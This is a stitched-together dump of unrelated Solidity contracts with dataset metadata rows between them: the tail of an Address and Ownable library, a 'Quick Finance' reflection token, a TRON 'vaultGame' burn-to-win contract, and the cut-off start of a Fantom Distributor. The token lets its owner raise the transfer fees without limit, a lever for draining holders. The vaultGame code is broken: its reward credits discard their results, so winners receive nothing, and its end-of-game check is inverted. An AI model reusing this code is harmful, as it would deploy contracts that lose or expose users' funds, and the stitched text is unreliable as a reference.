// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract QuickFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Quick Finance';
string private constant _symbol = 'QCK';
uint256 private _taxFee = 600;
uint256 private _burnFee = 250;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xef0A6C3Bf97067f64093F90f55117517DD979e24, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 316,332 | 10,828 |
3ced0e9cb62834a6488f4fadb117dd3eeef8448cc738927df814b0904d8d9dfe
| 23,098 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TE4bqT4B9pkkcC724rvkyUQVKr5tJzdibi_vaultGame.sol
| 4,601 | 17,826 |
//SourceUnit: vault.sol
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address public owner;
address public newOwner;
address public signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//
//--------------------- GAMES CONTRACT INTERFACE ---------------------//
//
interface InterfaceGAMES {
function getAvailableVaultRake() external returns (uint256);
function requestVaultRakePayment() external returns(bool);
}
interface ERC20Essential
{
function displayAvailableDividendALL() external returns (bool, uint256);
function distributeMainDividend() external returns(uint256);
function getDividendConfirmed(address user) external view returns (uint256);
function withdrawDividend() external returns(bool);
function balanceOf(address tokenOwner) external view returns (uint balance);
function burnVoucher(uint256 _value, uint8 mintShareStatus, address _user) external returns (bool success);
}
contract vaultGame is owned
{
constructor () public {
}
// Public variables of the token
using SafeMath for uint256;
uint256 public minimumVoucherToBurn; // minimum amount required to burning for effective on time
uint256 public burnIncreasePerLevelInPercent = 10000; // 10000 = 100%, minimum amount will increase by percent on each deffined step
uint256 public burnIncreaseAfterStepCount=100; // after this step count reached required burning will increase by given percent
uint256 public gameClockSpanInSeconds=43200; // 43200 sec = 12 Hr.
uint256 public burnPushInSecond=30; // Will push 30 second on each burn
uint256 public secondPushDecreasePerLevel=1; // Will decrease seconds (like lavel 1 = 30 Sec, lavel 2 = 29 Sec, lavel 3 = 28 Sec)
uint256 public gameTimer; // will keep the finished time of the game
uint256 public burnCounter; // counting of only effective burn from the start of game session
uint256 public totalVoucherBurnt; //count total effective vaucher burnt for one game session
bool public nextGameAutoStart;
mapping (address => bool) public globalToken; // The very voucher token only allowed to play here admin need to set
// This creates a mapping with all data storage
mapping (address => bool) public whitelistCaller;
address[] public whitelistCallerArray;
mapping (address => uint256) internal whitelistCallerArrayIndex;
uint256 public dividendAccumulated;
uint256 public divPercentageSUN = 100000000; //100% of dividend distributed
//distribution %age dynamically assigned by admin
uint256 toLastBurnerPercent = 2500; // 25%
uint256 toSenondLastBurnerPercent = 1500; // 15%
uint256 toThirdLastBurnerPercent = 1000; //10%
uint256 toOwnerPercent = 1000; // 10%
uint256 toDividendPercent = 2500; // 25%
uint256 carryOverPercent = 1500; // 15%
mapping(address => uint256) public userTrxBalance;
uint256 public carryOverAmount; // last x % of distribution (by carryOverPercent) carrited over
struct burnerInfo
{
address burner; //address of burner
uint256 burnAmount; // and his burn amount
}
burnerInfo[] public burnerInfos; //Address of burner in series for one game session and his amount
//Calculate percent and return result
function calculatePercentage(uint256 PercentOf, uint256 percentTo) internal pure returns (uint256)
{
uint256 factor = 10000;
require(percentTo <= factor);
uint256 c = PercentOf.mul(percentTo).div(factor);
return c;
}
function setMinimumVoucherToBurn(uint _minimumVoucherToBurn) onlyOwner public returns(bool success)
{
minimumVoucherToBurn = _minimumVoucherToBurn;
return true;
}
function setBurnIncreasePerLevelInPercent(uint _burnIncreasePerLevelInPercent) onlyOwner public returns(bool success)
{
burnIncreasePerLevelInPercent = _burnIncreasePerLevelInPercent;
return true;
}
function setburnIncreaseAfterStepCount(uint _burnIncreaseAfterStepCount) onlyOwner public returns(bool success)
{
burnIncreaseAfterStepCount = _burnIncreaseAfterStepCount;
return true;
}
function setGameClockSpanInSeconds(uint _gameClockSpanInSeconds) onlyOwner public returns(bool success)
{
gameClockSpanInSeconds = _gameClockSpanInSeconds;
return true;
}
function setNextGameAutoStart(bool _nextGameAutoStart) onlyOwner public returns(bool success)
{
nextGameAutoStart = _nextGameAutoStart;
return true;
}
function setBurnPushInSecond(uint256 _burnPushInSecond) onlyOwner public returns(bool success)
{
burnPushInSecond = _burnPushInSecond;
return true;
}
function setSecondPushDecreasePerLevel(uint256 _secondPushDecreasePerLevel) onlyOwner public returns(bool success)
{
secondPushDecreasePerLevel = _secondPushDecreasePerLevel;
return true;
}
event setglobalTokenEv(uint256 nowTime, address tokenAddress, bool status);
function setglobalToken(address _globalToken, bool _enable) onlyOwner public returns(bool success)
{
globalToken[_globalToken] = _enable;
emit setglobalTokenEv(now, _globalToken, _enable);
return true;
}
// ex 123= 1.23%, 10000 = 100%
function setDistributionPercent(uint256 _toLastBurnerPercent, uint256 _toSenondLastBurnerPercent, uint256 _toThirdLastBurnerPercent, uint256 _toOwnerPercent, uint256 _toDividendPercent,uint256 _carryOverPercent) public onlyOwner returns(bool)
{
uint256 sumAll = _toLastBurnerPercent + _toSenondLastBurnerPercent + _toThirdLastBurnerPercent + _toOwnerPercent + _toDividendPercent + _carryOverPercent;
require(sumAll == 10000, "sum of all is not 100%");
toLastBurnerPercent = _toLastBurnerPercent;
toSenondLastBurnerPercent = _toSenondLastBurnerPercent;
toThirdLastBurnerPercent = _toThirdLastBurnerPercent;
toOwnerPercent = _toOwnerPercent;
toDividendPercent = _toDividendPercent;
carryOverPercent = _carryOverPercent;
return true;
}
event placeMyBurnEv(address caller, uint amountBurned, uint timeNow, bool effective);
function placeMyBurn(address token, uint amountToBurn) public returns (bool)
{
bool success;
if (gameTimer == 0)
{
success = startVaultPlay(token,amountToBurn);
}
else
{
success = pushMyBurn(token,amountToBurn);
}
emit placeMyBurnEv(msg.sender, amountToBurn,now,success);
}
function startVaultPlay(address token, uint amountToBurn) internal returns(bool)
{
address starter = msg.sender;
require(globalToken[token], "invalid token address");
require(ERC20Essential(token).balanceOf(starter)>= amountToBurn,"insufficiedt balance");
require(gameTimer == 0, "game is already on");
require(starter != address(0), "address 0 found");
require (ERC20Essential(token).burnVoucher(amountToBurn,2,starter),"burning failed");
bool success;
burnerInfo memory temp;
if (amountToBurn >= minimumVoucherToBurn)
{
gameTimer = now.add(gameClockSpanInSeconds);
burnCounter = 1;
totalVoucherBurnt = amountToBurn;
temp.burner = starter;
temp.burnAmount = amountToBurn;
burnerInfos.push(temp);
success = true;
}
return success;
}
function whatIsRequiredNow() public view returns(uint256 reqAmount, uint256 secondAddOn)
{
uint increaseUnitAmount = calculatePercentage(minimumVoucherToBurn,burnIncreasePerLevelInPercent);
uint increaseFactor = burnCounter.div(burnIncreaseAfterStepCount);
uint secondDecreased = burnPushInSecond - increaseFactor;
reqAmount = minimumVoucherToBurn.add(increaseUnitAmount.mul(increaseFactor));
secondAddOn = burnPushInSecond - (secondPushDecreasePerLevel * increaseFactor);
require(burnPushInSecond >= secondAddOn, "no time left now");
return (reqAmount, secondAddOn);
}
function pushMyBurn(address token, uint amountToBurn) internal returns(bool)
{
address callingUser = msg.sender;
require(globalToken[token], "invalid token address");
require(gameTimer != 0 && gameTimer > now, "not started yet or reward distribution pending");
require(ERC20Essential(token).balanceOf(callingUser)>= amountToBurn,"insufficiedt balance");
require (ERC20Essential(token).burnVoucher(amountToBurn,2,callingUser),"burning failed");
uint increaseUnitAmount = calculatePercentage(minimumVoucherToBurn,burnIncreasePerLevelInPercent);
uint increaseFactor = burnCounter.div(burnIncreaseAfterStepCount);
uint requiredAmount = minimumVoucherToBurn.add(increaseUnitAmount.mul(increaseFactor));
uint secondDecreased = secondPushDecreasePerLevel * increaseFactor;
require(burnPushInSecond >= secondDecreased, "no time left now");
bool success;
burnerInfo memory temp;
if(amountToBurn >= requiredAmount)
{
gameTimer = gameTimer.add(secondDecreased);
burnCounter++;
totalVoucherBurnt = totalVoucherBurnt.add(amountToBurn);
temp.burner = callingUser;
temp.burnAmount = amountToBurn;
burnerInfos.push(temp);
success = true;
}
return success;
}
function distributeReward(address token) onlyOwner public returns(bool)
{
//check before distribution or rewards
require(globalToken[token], "invalid token address");
require(gameTimer > now, "game not finished yet");
require(burnerInfos.length > 0, "no player rolled");
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
uint256 i;
for(i=0; i < totalGameContracts; i++){
uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVaultRake();
if(amount > 0){
require(InterfaceGAMES(whitelistCallerArray[i]).requestVaultRakePayment(), 'could not transfer trx');
totalDividend += amount;
}
}
totalDividend += carryOverAmount;
//distribution parts
uint256 toLastBurner = calculatePercentage(totalDividend,toLastBurnerPercent);
uint256 toSenondLastBurner = calculatePercentage(totalDividend,toSenondLastBurnerPercent);
uint256 toThirdLastBurner = calculatePercentage(totalDividend,toThirdLastBurnerPercent);
uint256 toOwner = calculatePercentage(totalDividend,toOwnerPercent);
uint256 toDividend = calculatePercentage(totalDividend,toDividendPercent);
carryOverAmount = calculatePercentage(totalDividend,carryOverPercent);
uint256 lengthOf = burnerInfos.length;
if (lengthOf > 0)
{
userTrxBalance[burnerInfos[lengthOf-1].burner].add(toLastBurner);
}
if (lengthOf > 1)
{
userTrxBalance[burnerInfos[lengthOf-2].burner].add(toSenondLastBurner);
}
if (lengthOf > 2)
{
userTrxBalance[burnerInfos[lengthOf-3].burner].add(toThirdLastBurner);
}
userTrxBalance[owner].add(toOwner);
// to all participant
uint256 hisPart;
for(i=0; i < lengthOf; i++)
{
hisPart = burnerInfos[i].burnAmount / totalVoucherBurnt * toDividend;
userTrxBalance[burnerInfos[i].burner].add(hisPart);
}
//Reset after distribution
delete burnerInfos;
burnCounter = 0;
totalVoucherBurnt = 0;
if(nextGameAutoStart)
{
gameTimer = now.add(gameClockSpanInSeconds);
}
else
{
gameTimer = 0;
}
return true;
}
function withdrawTrx(uint256 amount) public returns(bool)
{
address caller = msg.sender;
require(amount <= userTrxBalance[caller], "not enough balance");
userTrxBalance[caller] = userTrxBalance[caller].sub(amount);
caller.transfer(amount);
return (true);
}
function viewStat() public view returns (uint256 timeLeft, address lastBurner,uint256 lastBurnerAmount, address secondLastBurner,uint256 secondLastBurnerAmount, address thirdLastBurner,uint256 thirdLastBurnerAmount, uint256 poolSize,uint256 requiredAmountToBurn, uint256 canIncreaseSecondByBurn)
{
if (now < gameTimer)
{
timeLeft = gameTimer - now;
}
uint256 lengthOf = burnerInfos.length;
if (lengthOf > 0)
{
lastBurner = burnerInfos[lengthOf-1].burner;
lastBurnerAmount = burnerInfos[lengthOf-1].burnAmount;
}
if (lengthOf > 1)
{
secondLastBurner = burnerInfos[lengthOf-2].burner;
secondLastBurnerAmount = burnerInfos[lengthOf-2].burnAmount;
}
if (lengthOf > 2)
{
thirdLastBurner = burnerInfos[lengthOf-3].burner;
thirdLastBurnerAmount = burnerInfos[lengthOf-3].burnAmount;
}
poolSize += totalVoucherBurnt;
(requiredAmountToBurn,canIncreaseSecondByBurn) = whatIsRequiredNow();
return (timeLeft,lastBurner,lastBurnerAmount,secondLastBurner,secondLastBurnerAmount,thirdLastBurner,thirdLastBurnerAmount,poolSize,requiredAmountToBurn,canIncreaseSecondByBurn);
}
function getDividendPotential() public view returns(uint256){
//we will check dividends of all the game contract individually
uint256 totalGameContracts = whitelistCallerArray.length;
uint256 totalDividend;
for(uint i=0; i < totalGameContracts; i++){
uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVaultRake();
if(amount > 0){
totalDividend += amount;
}
}
if(totalDividend > 0 || dividendAccumulated > 0){
//admin can set % of dividend to be distributed.
//reason for 1000000 is that divPercentageSUN was in SUN
uint256 newAmount = totalDividend * divPercentageSUN / 100 / 1000000;
return newAmount + dividendAccumulated + carryOverAmount;
}
//by default it returns zero
}
function addWhitelistGameAddress(address _newAddress) public onlyOwner returns(string){
require(!whitelistCaller[_newAddress], 'No same Address again');
whitelistCaller[_newAddress] = true;
whitelistCallerArray.push(_newAddress);
whitelistCallerArrayIndex[_newAddress] = whitelistCallerArray.length - 1;
return "Whitelisting Address added";
}
function removeWhitelistGameAddress(address _address) public onlyOwner returns(string){
require(_address != address(0), 'Invalid Address');
require(whitelistCaller[_address], 'This Address does not exist');
whitelistCaller[_address] = false;
uint256 arrayIndex = whitelistCallerArrayIndex[_address];
address lastElement = whitelistCallerArray[whitelistCallerArray.length - 1];
whitelistCallerArray[arrayIndex] = lastElement;
whitelistCallerArrayIndex[lastElement] = arrayIndex;
whitelistCallerArray.length--;
return "Whitelisting Address removed";
}
}
| 292,310 | 10,829 |
dae166a2c7f52d17279aa92ef012237141a6202f9f626a5738aebdb2073b52ce
| 16,030 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c0/c021EaB1Cb5a0B4119C75fF4254e7802fA332C74_Distributor.sol
| 3,387 | 13,842 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
